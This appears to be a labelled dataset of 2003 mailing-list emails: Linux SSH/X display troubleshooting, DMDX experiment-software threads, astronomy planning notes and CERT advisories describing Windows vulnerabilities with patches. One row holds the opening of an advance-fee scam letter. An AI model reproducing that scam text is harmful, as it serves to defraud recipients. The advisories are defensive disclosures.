DISPLAY environment getting set automatically? Where > does this get set normally? > > Second: If I ssh to B from A and then setenv DISPLAY to IPaddress:0.0 > the error message is approximately, cannot open display. I suspect > there is some other way to specify the display when ssh is used, but > it IS SUPPOSED TO BE AUTOMATIC! and it was on 7.3 (default factory > install!). > > Invoking ssh with the -X flag does not fix the problem. > zo > former of berkeley, still a linux user > ps - I can't install rh 7.3 on the problematic machine since it is > not my machine. > -- > Zodiac Webster zwebster@csusb.edu > Assistant Professor Department of Physics > CSU, San Bernardino 909-880-7593 > ",0,0 zwebster@csusb.edu,linuxusers@astron.berkeley.edu,"Mon, 30 Jun 2003 12:27:18 -0700",ssh DISPLAY,"Hi again linux users. First off, thanks to all who have already provided a wealth of suggestions to keep me busy all morning. But, I am still stuck. Here is the question: What should I manually set the display to when i remotely log in using ssh. I am logging in from a machine without a name (only an IP address). For instance, if I log in to the console, the DISPLAY is :0.0 or localhost:0.0. What can I specify to manually identify the DISPLAY environment when I do a ssh login to another machine? (no, none of the fixes suggested so far make the ssh decide what the display is for itself! manually specifying it will work though, at least when i log in to the same machine). The error message is: xterm Xt error: Can't open display: when no DISPLAY set. > setenv DISPLAY :0.0 makes windows pop up for ssh2 localhost logging in to remote machine with > ssh2 remote > setenv DISPLAY 139.myip.xxx.xxx:0.0 > xterm & yields following error message xterm Xt error: Can't open display: 139.myipxxx.xxx:0.0 Any more help out there? zo ",0,0 James Colby Kraybill ,zwebster@csusb.edu,"Mon, 30 Jun 2003 12:45:05 -0700",Re: ssh DISPLAY," To manually set your DISPLAY environment variable, you should do the following: local % ssh remote remote % w zodiac (look for your IP) (for [t]csh) remote % setenv DISPLAY IP:0.0 (for [k,ba]sh) remote % DISPLAY=IP:0.0;export DISPLAY then: local % xhost +remote then: remote: xclock You should have a nice new xclock window appear on the local display. - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley On Mon, 30 Jun 2003 zwebster@csusb.edu wrote: > Hi again linux users. > > First off, thanks to all who have already provided a > wealth of suggestions to keep me busy all morning. > > But, I am still stuck. > > Here is the question: > > What should I manually set the display to when i > remotely log in using ssh. I am logging in from a > machine without a name (only an IP address). For > instance, if I log in to the console, the DISPLAY is > :0.0 or localhost:0.0. > > What can I specify to manually identify the DISPLAY > environment when I do a ssh login to another machine? > > (no, none of the fixes suggested so far make the ssh > decide what the display is for itself! manually > specifying it will work though, at least when i log > in to the same machine). > > The error message is: > xterm Xt error: Can't open display: > when no DISPLAY set. > > setenv DISPLAY :0.0 > makes windows pop up for ssh2 localhost > > logging in to remote machine with > > ssh2 remote > > setenv DISPLAY 139.myip.xxx.xxx:0.0 > > xterm & > yields following error message > > xterm Xt error: Can't open display: 139.myipxxx.xxx:0.0 > > Any more help out there? > zo > ",0,0 Zodiac Webster ,linuxusers@astron.Berkeley.EDU,"Tue, 01 Jul 2003 16:54:45 -0700",display problem: soln?,"Linux users: I wanted to convey my sincerest thanks for all your suggestions. I never did figure out why ssh wouldn't automatically set the display, but I did figure out why the setenv DISPLAY IP.IP.etc:0.0 did not work. It was the firewall.... yes, the default firewall settings did not allow ssh to penetrate AND the tool available to set up the firewall from the menu did not actually change the settings. I used 'lokkit' to edit the settings for the firewall. Then the standard scheme of 'xhost +remote' and manually specifying the DISPLAY as suggested actually works. So... remember the firewall. zo -- Zodiac Webster zwebster@csusb.edu Assistant Professor Department of Physics CSU, San Bernardino 909-880-7593 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jul 2003 17:19:44 -0700",[DMDX] NVIDIA display drivers and XP," Looks like NVIDIA have finally cured their display drivers. I have a Dell something or other here that has a NVIDIA 440 MX display in it with display drivers labelled 4.2.3.8 (42.38) _without_ DirectX 9 on it, just the DirectX 8.0 or DirectX 8.1 that XP SP1 comes with and it didn't crash my crash tests at 640x480x8 or 1024x768x16. Only took them them three or four years, hey, what am I complaining about? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Knowledge is knowing that you don't know. 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In terms of the Space Science strategy Our group 1) *Flares of stars in the solar neighborood *Galactic star formation regions ==>Jeremy Drake, Nancy Evans, Scott Wolk, Bob Rosner + Vinay Kashyap fulfills five categories within two themes outside of SEU. The Letters and Arabic numerals below are copied for the NASA Space Science strategy. ----------------------------- OUTLINE: I Science Justification A Sun Earth Connection 1) Understand the changing flow of energy in throughout the Heliosphere and and planetary environments. i) The only way the study the changing flow of energy through the sun is to study other ""SUNs"" at various ages. There are only a handful of Solar type PMS stars bright enough for Xray spectroscopy today. Con-X will be able to measure the properties of many ZAMS G stars But stars with log (Lx/Lbol) = -6 (solar-like) are probably beyond its capability. Solar flares (which obviously have an immediate and potentially drastic effect on the Earth) can be better understood by considering the changed controlling parameters (such as gravity, rotation rate, convection depth) present in other stars. ---> References (Feigelson 2002; ONC, Glassgold 2001 theory Work of Baliunas and collaborators HK project) ii) We would be able to see to 2 kpc what CXO sees at 500 pc. i.e we could study star formation in about 20 Massive star forming regions with the spatial resolution of CXO and the spectral resolution of (better than) Con-X. We know ROSAT induced biases in out understanding of star formation (we modeled on Taurus) now we think mostly about Star formation in the context of the ONC. In truth we know that this is still a modest Star Forming region. Most star formation goes on in the superclusters further in. --> Figure (ONC COUP image with rescaled bar, plus several superimposed CON-X of Kastner HETG spectra, or Con-X spectra.) REQUIRED MATH: Flux of M6 PMS star at 2kpc Flux of M9 PMS brown dwarf at 2 kpc 2) Understand the physical properties of Space plasma i) Coronal tomography. Will be able to produce 3-D maps of the corona above nearby active stars. --> I'll add more this week B) Astronomical Search for Origins 2)Learn how stars and planetary systems form and evolve. i) What is the energy of a flare and what are the effects of this on disk chemistry (c.f. Feigelson 2002) ii) able to spatially resolve flares in HH30! We will learn what fraction of the disk is directly affected by the flare and we would know whether these were star-star flares, disk-disk flares or star-disk flares. (c.f. Kastner) -->Figure HH30 with a flare, 1 AU in length overlain. 3) Understand the diversity of worlds which may harbor life. i) we will be able to study the X-ray environment of every planet detected to date. REQUIRED MATH: what is the X-ray flux of K0 MS star at 100 pc. ii)It has been argued that even after the sun reaches the ZAMS and the Earth is in the so called ""habitable zone"" with respoect to temperature, 2 effects prevent the immediate evolution of life. 1) regular high mass impacts and 2) huge X-ray flares. X--ray flares may be more significant as the impacts dies out within 200 Myr and active flaring may continue to sterilize planets for 1 Gyr. iii) Could detect comets and perhaps jupiter around nearby stars? C) SEU 3) Understanding the development of the structure and cycles of matter of the universe. i) XRB Formation and Evolution: Binary Populations This is a particularly important topic, for instance for understanding interacting binaries and the X-ray sources in nearby galaxies. The basis of understanding XRB is understanding binary populations: frequency, distributions of separations, etc. they start from, as well as the physics the interactions within the evolving systems. X-ray studies can ""close the loop"" for massive stars in multiple systems. That is, B stars in general do not have X-rays. Over the next 20 years, improved resolution (all the way to SIM) will vastly improve our knowledge of wide companions. Copious velocity measures will greatly lengthen the list of close binaries. However, low mass companions (necessary to complete the picture) are elusive. Since at least some of the rare B stars known to have X-rays are thought to have low mass X-ray producing companions, X-ray studies will reveal companions undetected by other means. Even more remarkable, if no X-rays are present in young B Stars, it is proof that they do not hava a low mass companion (nearly impossible to prove by other means.) To push the results further in star forming/young star regions, this requires both high resolution, as well a more collecting area. _______________________________________________________________________ Scott J. Wolk | swolk@cfa.harvard.edu | http://hea-www.harvard.edu/~swolk Chandra X-Ray Center | Harvard-Smithsonian | 617-496-7766 Center for Astrophysics | 617-495-7356 (fax) 60 Garden St. MS-70 | 877-717-0366 (pager) Cambridge, MA 02138 | 617-721-4360 (cell phone) ",0,1 mariamjk200 ,mariamjk200 ,"Thu, 10 Jul 2003 13:20:55 +0200",FROM MARIAM URGENT ASSISANCE,"FROM:MARIAM JOHNSON. ASSYLUM CAMP ABIDJAN. COTE D'VOIER WEST AFRICA. THIS IS CONFIDENTIAL PLEASE. DEAR , IT IS MY PLEASURE TO WRITE TO YOU WITH MUCH CONSIDERATION, l AM MARIAM JOHNSON THE ONLY DAUGHTER OF LATE MR JOHNSON KOUNE FROM KWATANATAL ZULU IN REPUBLIC OF SOUTH AFRICA, I AM 19 YEARS OF AGE, MY FATHER OWNS A LIMITED LIABILITY COMPANY OF GOLD IN JOHANESBURG SOUTH AFRICA MY COUNTRY. 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",1,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Jul 2003 17:02:00 -0400",[DMDX] coupling subject's responses with experimenter's responses,"In the familiarization phase of a picture naming exp., I'd like subject's responses to be treated just like they will be in the actual experiment (same voice key triggering, same feedback, etc.), but I'd like the experimenter to be able to control whether or not the subject continues onto the next item -- i.e., if the subject produces the wrong name, I'd like it if the experimenter could give them the correct name and then have them name the same pic again. I can see how to do this (using call and return), except for the fact that returns to the *next* item. Is there a way to immediately repeat a particular item? thanks for any help Matthew",0,0 CERT Advisory ,cert-advisory@cert.org,"Mon, 14 Jul 2003 16:26:13 -0400",CERT Advisory CA-2003-14 Buffer Overflow in Microsoft Windows HTML,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-14 Buffer Overflow in Microsoft Windows HTML Conversion Library Original issue date: July 14, 2003 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Windows 98 and 98 Second Edition (SE) * Windows NT 4.0 and 4.0 Terminal Server Edition (TSE) * Windows Millennium Edition (Me) * Windows 2000 * Windows XP * Windows Server 2003 Overview A buffer overflow vulnerability exists in a shared HTML conversion library included in Microsoft Windows. An attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service. I. Description Microsoft Windows includes a shared HTML conversion library (html32.cnv). According to Microsoft Security Bulletin MS03-023, ""The HTML converter is an extension which allows applications to convert HTML data into Rich Text Format (RTF) while maintaining the formatting and structure of the data as well as the text. The converter also supports the conversion of RTF data into HTML."" The HTML conversion library contains a buffer overflow vulnerability that can be triggered by a specially crafted align attribute in an element. The library can be loaded by any application on the system. For example, Internet Explorer (IE) uses the library to handle HTML data stored in the clipboard. Using script, an attacker can cause IE to copy a crafted element into the clipboard and load the library. The attacker could accomplish this by convincing a victim to view an HTML web page or HTML email message with IE, Outlook, or Outlook Express in a zone where Active scripting and Allow paste operations via script are enabled. This vulnerability is not limited to IE, Outlook, or Outlook Express. Any program, including non-Microsoft applications, can use the vulnerable library and may present other vectors of attack. Further information is available in VU#823260. Common Vulnerabilities and Exposures (CVE) refers to this issue as CAN-2003-0469. II. Impact An attacker could execute arbitrary code with the privileges of the process that loaded the HTML conversion library. The attacker could also crash the process, causing a denial of service. III. Solution Apply a patch Apply the appropriate patch as specified by Microsoft Security Bulletin MS03-023. Modify Internet Explorer security zone configuration Modify one or both of the following IE security zone settings in the Internet zone and the zone(s) used by Outlook, Outlook Express, and any other application that uses Internet Explorer or the WebBrowser ActiveX control to render HTML: * Set Allow paste operations via script to Disable * Set Active scripting to Disable Either of these changes will prevent attacks that depend on scripting in the IE HTML rendering engine. However, these changes are not complete solutions, and they do not prevent attacks that use other vectors. Note that disabling Active scripting provides defense against other attacks that are outside the scope of this document. Instructions for modifying IE 5 security zone settings can be found in the CERT/CC Malicious Web Scripts FAQ. In IE 6, the High security zone setting includes both of these changes. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. Microsoft Please see Microsoft Security Bulletin MS03-023. Appendix B. References * CERT/CC Vulnerability Note VU#823260 - * Microsoft Security Bulletin MS03-023 - _________________________________________________________________ This vulnerability was publicly reported by Digital Scream. _________________________________________________________________ Feedback can be directed to the author, Art Manion. ______________________________________________________________________ This document is available from: ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. 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Revision History July 14, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPxMNQ2jtSoHZUTs5AQFCcgP/bpRDdnHMt9g2IQAzo34qx12ZX4DKsOkd +UYIZptj7ds/PsQ/icA0JhQITnjsbv8QuXZh8rJ/msapEMs8e/S/cb8OXVM+iDKM I+OHgaoZF57X9waGIx7cqvaRQbC9C7y9agz7QCckteAut0qbxZewOVv0EktUR6mH pszPcxmnuC0= =ajV8 -----END PGP SIGNATURE-----",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Jul 2003 15:42:22 -0700",[DMDX] RE: coupling subject's responses with experimenter's responses,"Matthew, If you use the Naming Time Negation Keyword, the experimenter can decide whether the response was correct, and enters this information on the keyboard. You could then use Branch If Wrong to go back. I haven't tried this, but it seems that it should work. --k.i.f. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of Matthew Finkbeiner > Sent: Monday, July 14, 2003 2:02 PM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] coupling subject's responses with experimenter's responses > > In the familiarization phase of a picture naming exp., I'd like > subject's responses to be treated just like they will be in the actual > experiment (same voice key triggering, same feedback, etc.), but I'd > like the experimenter to be able to control whether or not the subject > continues onto the next item -- i.e., if the subject produces the wrong > name, I'd like it if the experimenter could give them the correct name > and then have them name the same pic again. I can see how to do this > (using call and return), except for the fact that returns to > the *next* item. Is there a way to immediately repeat a particular > item? > > thanks for any help > > Matthew > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 14 Jul 2003 20:26:23 -0700",[DMDX] Re: usb or gameport,"At 08:32 PM 7/10/2003 +0200, you wrote: >Hi, > >I would like to customize a reaction-time joystick/button-box for use with >DMDX. In order to do this I'd have to use a joystick interface. Now I >wonder if I'd best use an USB or a Gameport type joystick. I can't find a >lot of data on usb interfaces, which makes me lean towards the gameport >solution. Should I just try some cheap usb and gameport joysticks and test >them? Another possibility would be to use the USB based PIO which Jonathan >mentions on the list. > >What am I to do? Anyone got any experience on this subject? Try them and see, all USB devices have different timing characteristics that are impossible to predict. USB 2.0 devices do stand a significant chance of being much better than USB 1.0 devices however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Success is a journey, not a destination. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 14 Jul 2003 20:30:27 -0700",[DMDX] Re: coupling subject's responses with experimenter's responses,"At 05:02 PM 7/14/2003 -0400, you wrote: >In the familiarization phase of a picture naming exp., I'd like >subject's responses to be treated just like they will be in the actual >experiment (same voice key triggering, same feedback, etc.), but I'd >like the experimenter to be able to control whether or not the subject >continues onto the next item -- i.e., if the subject produces the wrong >name, I'd like it if the experimenter could give them the correct name >and then have them name the same pic again. I can see how to do this >(using call and return), except for the fact that returns to >the *next* item. Is there a way to immediately repeat a particular >item? Use a macro that expands to a test that jumps back to a stub item if it needs to: 0 ""Instructions"" mT+ some test condition that branches to -555 if the item needs doing over+; ~555; +1 item that gathers response; ~556 ~T; ~555; +2 another item that gathers response; ~556 ~T; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Success is a journey, not a destination.",0,0 Robin van Emden ,DMDX@psy1.psych.arizona.edu,"Tue, 15 Jul 2003 11:15:56 +0200",[DMDX] Re: usb or gameport,"Hi, Thanks for your answer, I will do just that. Two more questions left. First, timedx recognizes the buttons on my USB gamepads, but doesn't mention the axis device. Is there a way to read this? Are there gamepads which are readable in this respect? Second, I am thinking about programming a small RT program myself in VC++. Is it possible to get the sourcecode of DMDX/TimeDx? Maybe under certain conditions? Sincerely, Robin van Emden Leiden Universiteit The Netherlands > At 08:32 PM 7/10/2003 +0200, you wrote: >>Hi, >> >>I would like to customize a reaction-time joystick/button-box for use >> with DMDX. In order to do this I'd have to use a joystick interface. >> Now I wonder if I'd best use an USB or a Gameport type joystick. I >> can't find a lot of data on usb interfaces, which makes me lean towards >> the gameport solution. Should I just try some cheap usb and gameport >> joysticks and test them? Another possibility would be to use the USB >> based PIO which Jonathan mentions on the list. >> >>What am I to do? Anyone got any experience on this subject? > > Try them and see, all USB devices have different timing > characteristics > that are impossible to predict. USB 2.0 devices do stand a significant > chance of being much better than USB 1.0 devices however. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Success is a journey, not a destination. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Jul 2003 11:34:10 -0700",[DMDX] Re: usb or gameport,"At 11:15 AM 7/15/2003 +0200, you wrote: >Hi, > >Thanks for your answer, I will do just that. Two more questions left. > >First, timedx recognizes the buttons on my USB gamepads, but doesn't >mention the axis device. Is there a way to read this? Are there gamepads >which are readable in this respect? No, DMDX doesn't record axis data so TimeDX doesn't enumerate those objects. Doing so involves opening a rather large can of worms and typically I won't do that sort of thing till someone here wants it done. >Second, I am thinking about programming a small RT program myself in VC++. >Is it possible to get the sourcecode of DMDX/TimeDx? Maybe under certain >conditions? No. Not under any conditions. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Success is a journey, not a destination. ",0,0 Robin van Emden ,DMDX@psy1.psych.arizona.edu,"Tue, 15 Jul 2003 23:58:27 +0200",[DMDX] Re: usb or gameport,"Hi Jonathan, Thanks for your answers. I'll just connect the joystick-part of my interface to four of the buttons on the pad, that should work just fine. Considering the source code, I just wondered if the software might be open source. Now I understand it's not. Still a big thank you for providing DMDX, it's of great use to me! Sincerely, Robin van Emden > No, DMDX doesn't record axis data so TimeDX doesn't enumerate those > objects. Doing so involves opening a rather large can of worms and > typically I won't do that sort of thing till someone here wants it done. > >>Second, I am thinking about programming a small RT program myself in >> VC++. Is it possible to get the sourcecode of DMDX/TimeDx? Maybe under >> certain conditions? > > No. Not under any conditions. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Success is a journey, not a destination. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 16 Jul 2003 10:25:15 -0700",[DMDX] Fwd: zil file converter," Dianne K. Patterson has provided a new utility: >X-Sender: jforster@tec06.psych.arizona.edu >X-Mailer: QUALCOMM Windows Eudora Version 5.1 >Date: Wed, 16 Jul 2003 10:17:47 -0700 >To: jforster@psy1.psych.arizona.edu >From: dkp@email.arizona.edu >Subject: zil file converter > >Hi Jonathan, > >I've posted a tool called zilverter on the cnl website. This tool may be of >interest to you since it takes a zil file and marks it up in xml and then >allows you to extract data of interest into a csv file suitable for excel. >Some of the grad students needed such a thing and I worked with my S.O., Tom >Hicks (he's the programmer, I just knew what we needed the thing to do) to >create it: > >http://w3.arizona.edu/~cnl/dmdx.htm#zilverter > >Dianne > >Dianne K. Patterson Ph.D. >Psychology, Room 217E >626-4571 >Cognition and NeuroImaging Labs >University of Arizona >Tucson, AZ /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Knowledge is knowing that you don't know. ",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 17 Jul 2003 01:16:50 -0400",CERT Advisory CA-2003-16 Buffer Overflow in Microsoft RPC," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-16 Buffer Overflow in Microsoft RPC Original release date: July 17, 2003 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Microsoft Windows NT 4.0 * Microsoft Windows NT 4.0 Terminal Services Edition * Microsoft Windows 2000 * Microsoft Windows XP * Microsoft Windows Server 2003 Overview A buffer overflow vulnerability exists in Microsoft's Remote Procedure Call (RPC) implementation. A remote attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service. I. Description There is a buffer overflow in Microsoft's RPC implementation. According to Microsoft Security Bulletin MS03-026, ""There is a vulnerability in the part of RPC that deals with message exchange over TCP/IP. The failure results because of incorrect handling of malformed messages. This particular vulnerability affects a Distributed Component Object Model (DCOM) interface with RPC, which listens on TCP/IP port 135. This interface handles DCOM object activation requests that are sent by client machines (such as Universal Naming Convention (UNC) paths) to the server."" The CERT/CC is tracking this issue as VU#568148. This reference number corresponds to CVE candidate CAN-2003-0352. II. Impact A remote attacker could exploit this vulnerability to execute arbitrary code with Local System privileges or to cause a denial of service. III. Solution Apply a patch Apply the appropriate patch as specified by Microsoft Security Bulletin MS03-026. Restrict access You may wish to block access from outside your network perimeter, specifically by blocking access to port 135/TCP. This will limit your exposure to attacks. However, blocking at the network perimeter would still allow attackers within the perimeter of your network to exploit the vulnerability. It is important to understand your network's configuration and service requirements before deciding what changes are appropriate. _________________________________________________________________ This vulnerability was discovered by The Last Stage of Delirium Research Group. Microsoft has published Microsoft Security Bulletin MS03-026, upon which this document is largely based. _________________________________________________________________ Author: Ian A. Finlay ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-16.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. 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At first I thought not, but then got to thinking that perhaps with zil its possible to both the voice key and one of the buttons? Anyone done anything like this before? Matthew ***************************** Matthew Finkbeiner, Ph.D. Cognitive Neuropsychology Lab William James Hall, #918 Harvard University 33 Kirkland Street Cambridge, MA 02138 Phone: (617) 496-6042 fax: (617) 496-6262 *****************************",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 23 Jul 2003 15:12:49 -0700",[DMDX] TimeDX refresh rate determination oddity," Made an interesting discovery with the TimeDX refresh rate determination code. On a Pentium 166 Windows 98 machine with a new PCI NVIDIA Riva TNT2 M64 display the refresh rate determination test would stutter and never be able to get a good reading no matter how low I set the number of cycles to time. I tried two other recent video drivers and they all had the same characteristic. Before resorting to much older video drivers just for grins I turned on Read between Flips to Stop Cheating Drivers which fixed everything. Which is pretty damned impressive as that fix was added for the previous design, didn't ever think I'd need it again but didn't remove the code just in case it might be useful and there it is, useful again. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The obvious answer is always overlooked. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 23 Jul 2003 15:20:54 -0700","[DMDX] Re: zil, vox and button press","At 05:32 PM 7/23/2003 -0400, you wrote: >Someone in our lab is hoping to set up an experiment in which >participants have to name a picture as well as indicate with a button >press which side of the pic a simultaneously presented distractor word >is on. He wants RTs for both responses. Is this possible? At first I >thought not, but then got to thinking that perhaps with zil its possible >to both the voice key and one of the buttons? Anyone done >anything like this before? You can use the zillion responses input mode and record both responses. Determining how a trial should end becomes the interesting thing, default zil behavior will keep on recording till the timeout expires. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The obvious answer is always overlooked.",0,0 Michiko Watanabe ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Jul 2003 15:49:59 +1000",[DMDX] four response buttons,"Dear users, I just started reading maunals of DMDX and have some problems. I want to run experiments in which I need four buttons or keys for subjects to press and measure the response time as accurately as possible. Is there any device which has four buttons and can measure RT with millisecond adduracy? If keyboard is the only possibility for four buttons, how can I make errors as small as possible? Is there any way of knowing the range of errors? Michiko Watanabe e-mail: mwatanab@maccs.mq.edu.au ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Jul 2003 08:43:10 -0700",[DMDX] Re: four response buttons,"At 03:49 PM 7/24/2003 +1000, you wrote: >Dear users, > >I just started reading maunals of DMDX and have some problems. >I want to run experiments in which I need four buttons or keys for subjects >to press and measure the response time as accurately as possible. >Is there any device which has four buttons and can measure RT with >millisecond adduracy? Many USB gamepads have four or more buttons. Timing on them is usually superior to KBs and there's certainly much less variability from one to the next than there is between one KB and the next. USB 2.0 gamepads stand a distinct change of having millisecond accurate timing but I've yet to get the chance to benchmark one. >If keyboard is the only possibility for four buttons, how can I make errors >as small as possible? You would have to have a method of measuring the error and even then you'd have to keep on trying different KBs until you found a good one. I was pleasantly surprised to find that a new one the other day that someone needed for testing that only had a SD of 4.5 ms. >Is there any way of knowing the range of errors? You have build something that presses keys at exact an interval, then you can use testmode 8 to benchmark a keyboard. But most people don't have the wherewithal to build crystal controlled oscillators driving a solenoid... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Old age needs so little, but it needs that little so much. ",0,0 CERT Advisory ,cert-advisory@cert.org,"Fri, 25 Jul 2003 15:03:35 -0400",CERT Advisory CA-2003-18 Integer Overflows in Microsoft Windows DirectX MIDI Library ," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-18 Integer Overflows in Microsoft Windows DirectX MIDI Library Original issue date: July 25, 2003 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Microsoft Windows systems running DirectX (Windows 98, 98SE, NT 4.0, NT 4.0 TSE, 2000, Server 2003) Overview A set of integer overflows exists in a DirectX library included in Microsoft Windows. An attacker could exploit this vulnerability to execute arbitrary code or to cause a denial of service. I. Description Microsoft Windows operating systems include multimedia technologies called DirectX and DirectShow. From Microsoft Security Bulletin MS03-030, ""DirectX consists of a set of low-level Application Programming Interfaces (APIs) that are used by Windows programs for multimedia support. Within DirectX, the DirectShow technology performs client-side audio and video sourcing, manipulation, and rendering."" DirectShow support for MIDI files is implemented in a library called quartz.dll. This library contains two vulnerabilities: VU#561284 - Microsoft Windows DirectX MIDI library does not adequately validate Text or Copyright parameters in MIDI files VU#265232 - Microsoft Windows DirectX MIDI library does not adequately validate MThd track values in MIDI files In both cases, a specially crafted MIDI file could cause an integer overflow, leading to incorrect memory allocation and heap corruption. Any application that uses DirectX/DirectShow to process MIDI files may be affected by this vulnerability. Of particular concern, Internet Explorer (IE) uses the Windows Media Player ActiveX control and quartz.dll to handle MIDI files embedded in HTML documents. An attacker could therefore exploit this vulnerability by convincing a victim to view an HTML document, such as a web page or an HTML email message, that contains an embedded MIDI file. Note that in addition to IE, a number of applications, including Outlook, Outlook Express, Eudora, AOL, Lotus Notes, and Adobe PhotoDeluxe, use the WebBrowser ActiveX control to interpret HTML documents. Further technical details are available in eEye Digital Security advisory AD20030723. Common Vulnerabilities and Exposures (CVE) refers to these vulnerabilities as CAN-2003-0346. II. Impact By convincing a victim to access a specially crafted MIDI or HTML file, an attacker could execute arbitrary code with the privileges of the victim. The attacker could also cause a denial of service in any application that uses the vulnerable functions in quartz.dll. III. Solution Apply a patch Apply the appropriate patch as specified by Microsoft Security Bulletin MS03-030. Disable embedded MIDI files Change the Run ActiveX controls and plug-ins security setting to Disable in the Internet zone and the zone(s) used by Outlook, Outlook Express, and any other application that uses the WebBrowser ActiveX control to render HTML. This modification will prevent MIDI files from being automatically loaded from HTML documents. This workaround is not a complete solution and will not prevent attacks that attempt to load MIDI files directly. Instructions for modifying IE security zone settings can be found in the CERT/CC Malicious Web Scripts FAQ. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. Microsoft Please see Microsoft Security Bulletin MS03-030. Appendix B. References * CERT/CC Vulnerability Note VU#561284 - http://www.kb.cert.org/vuls/id/561284 * CERT/CC Vulnerability Note VU#265232 - http://www.kb.cert.org/vuls/id/265232 * eEye Digital Security advisory AD20030723 - http://www.eeye.com/html/Research/Advisories/AD20030723.html * Microsoft Security Bulletin MS03-030 - http://microsoft.com/technet/security/bulletin/MS03-030.asp * Microsoft Knowledge Base article 819696 - http://support.microsoft.com/default.aspx?scid=kb;en-us;819696 _________________________________________________________________ These vulnerabilities were researched and reported by eEye Digital Security. _________________________________________________________________ Feedback can be directed to the author, Art Manion. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-18.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from 